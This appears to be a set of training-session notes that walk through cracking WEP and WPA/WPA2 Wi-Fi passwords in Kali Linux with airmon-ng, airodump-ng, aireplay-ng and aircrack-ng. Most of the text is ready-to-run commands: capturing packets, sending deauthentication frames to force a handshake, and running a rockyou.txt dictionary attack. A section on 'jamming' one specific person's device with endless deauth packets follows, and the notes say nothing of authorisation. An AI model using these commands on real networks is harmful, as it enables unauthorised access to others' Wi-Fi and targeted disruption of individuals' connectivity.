g1s20

SESSION 20
===========

REQUIREMENTS FOR CRACKING WIRELESS NETWORKS
============================================

OS : Kali Linux
Hardware Components : Wireless Adapter that supports Monitor Mode (Using "Leoxsys 150 HGN")
Tools : 	(CLI Tools Pre-Installed in Kali Linux)
-	Airmon-ng : For  Enabling Monitor Mode.
-	Airodump-ng : For Dumping Wireless Fidelity Packets.
-	Aireplay-ng : For generating frames/packets and altering with Network Packets.
-	Aircrack-ng : For Doing Brute Force Attack on the WIFI Captured Packets through the help of a Wordlists.


Aireplay-ng
============
Aireplay-ng is used to inject/replay frames.  The primary function is to generate traffic for the later use in aircrack-ng for cracking the WEP and WPA-PSK keys. There are different attacks  which  can  cause deauthentications for the purpose of capturing WPA handshake data, fake authentications etc.


Aircrack-ng
===========
Aircrack-ng is an 802.11 WEP and WPA/WPA2-PSK key cracking program. It can recover the WEP key once enough encrypted packets have been captured with airodump-ng. This uses methods incorporates various statistical attacks to discover the WEP key and uses these in combination with brute forcing. Additionally, the program offers a dictionary method for determining the WEP key. For  cracking WPA/WPA2 pre-shared keys, a wordlist (file having credentials) has to be used.


Workflow for Cracking WEP, WPA/WPA2:
====================================

Step 1: To start the monitor mode.
Step 2: To start gathering information about the wireless signals.
Step 3: To start capturing the packets.
Step 4: Cracking the WiFi password.


--------------------------------------------------------------------------------------------------


CRACKING WEP ENCRYPTION
========================

Steps :

# iwconfig                    // Wireless Adapter Name wlan0

# airmon-ng start wlan0       // Starting Monitoring Mode on Adapter

# kill PID                    // Killing processes

# iwconfig                    // After Monotoring mode adapter name is : wlan0mon

# airodump-ng wlan0mon        // Starting Dumping on Wireless Adapter

# airodump-ng --bssid <Target Router's bssid> -c <channel number> -w wepp wlan0mon            // saving dumping packets to a file.
	--bssid : router's mac address
	-c 		: channel number
	-w 		: writing/capturing wireless packets
(This will automatically adds -01,-02 in addition to the file name. Here it'll be wepp-01.cap .)

# aireplay-ng -1 0 -a <bssid of my wep router> wlan0mon        // Sending Re-authentication packets to the router

NOTE : There must be atleast 15,000 Beacon Packets Captured.

# aircrack-ng wepp-01.cap           // Cracking Stored WEP Packets


The key will be found with (:) in between. For eg. If the passphrase of the access point is "1234567890" , the Cracked Key will be shown as "12:34:56:78:90" .
Remove the (:) sign from the KEY Founded, and the password will be in front of you.


--------------------------------------------------------------------------------------------------


CRACKING WPA/WPA2
==================

Steps :

# iwconfig                    // Wireless Adapter Name wlan0

# airmon-ng start wlan0       // Starting Monitoring Mode on Adapter

# kill PID                    // Killing processes

# iwconfig                    // After Monotoring mode adapter name is : wlan0mon

# airodump-ng wlan0mon        // Starting Dumping on Wireless Adapter

# airodump-ng --bssid <Target Router's bssid> -c <channel number> -w wpa2 wlan0mon      // saving dumping packets to a file.
	--bssid :  router's mac address
	  -c 	: channel number
	  -w 	: to write/capture packets
(This will automatically adds -01,-02 in addition to the file name. Here it'll be wpa2-01.cap .)

# aireplay-ng -0 10 -a <bssid of router> -c <bssid of client/user> wlan0mon          // Sending deauthentication packets to the client/user of a router.
	-0 : 	deauthentication packet
	-a : 	mac of target router
	-c :	mac of any connected client/user
(Now we are sending 10 Deauthentication Packets to the client, after that if the client again tries to reconnect, the WIFI Handshake will be captured of that access point.)

# aircrack-ng -w <path of dictionary> <filename*.cap>       //Starting Dictionary Attack through a Wordlists
Wordlists we are using is Rockyou.txt which is pre-installed in kali linux. Path of rockyou.txt is : /usr/share/wordlist/rockyou.txt/ .

This will be showing you the password as (KEY FOUND : Password of the Access Point).


--------------------------------------------------------------------------------------------------

CREATING WIFI JAMMER FOR A SPECIFIC PERSON
==========================================

# airodump-ng -c <chanel number> -w file --bssid <bssid of router> wlan0mon

# aireplay-ng --deauth 0 -c <bssid of a specific device> -a <bssid of the router> wlan0mon

--------------------------------------------------------------------------------------------------

Other Automated Tool For Wireless Cracking :

FLUXION - https://github.com/FluxionNetwork/fluxion
Only for Linux OS.


--------------------------------------------------------------------------------------------------




UNHACK - https://apkpure.com/unhack/com.lucideustech.unhack